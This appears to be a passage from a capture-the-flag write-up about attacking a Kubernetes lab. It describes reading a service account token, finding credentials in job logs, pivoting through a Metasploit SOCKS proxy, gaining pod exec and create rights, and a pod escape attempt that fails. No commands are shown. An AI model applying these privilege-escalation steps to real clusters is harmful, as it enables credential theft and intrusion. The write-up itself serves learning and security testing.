The script also provided the location of the serviceaccount token under /run/secrets/kubernetes.io/serviceaccount/token. This will allow us to authenticate against the Kubernetes API. I downloaded the kubectl to work with the API from the command line. We can now query the identity and permissions of this first serviceaccount token.

 

The serviceaccount is named restricted-viewer, and as it describes, it only allows to list the namespaces, nodes and pods:

 

Here's another hint, that we might look at the other namespaces as well. We now discover, that the serviceaccount has additional permissions to see the logs in the jobs namespace.

 

The jobs namespace contains pods that will repeatedly execute a certain task. Let's see if we can find anything out from the logs, since we are allowed to list them:

Bingo, we got some credentials! 

pod-executer @ openssh-server

Now let's try and connect to this machine. Unfortunately, the shell provided by metasploit does not offer a full terminal emulation. Also, the www-data user from the nginx pod does not have write privileges in the home directory, which ssh requires by default to write the known_hosts file in the .ssh directory. Therefore, I catched up about pivoting with Metasploit, and created a SOCKS5 proxy that I used to connect from my attacker machine.

 

Now we see that with this new serviceaccount token, we have new permissions to execute commands in existing pods:

 

This is where we get the third serviceaccount token:

 

pod-creator @ evil-pod

This is becoming interesting, the serviceaccount now gets permissions to create new pods.
 
 
Now this is where my trail ended. I tried to escape from the pod by creating a malicious yaml that will mount the node filesystem in the container. However, due to the enforced Pod Security policy, I was not able to break out of the pod and to gain access to the node. 

So that's it, I hope you enjoyed the write-up, although it's not complete. I sure did learn a lot about Kubernetes :-) Many thanks to RedGuard / Disenchant for this opportunity!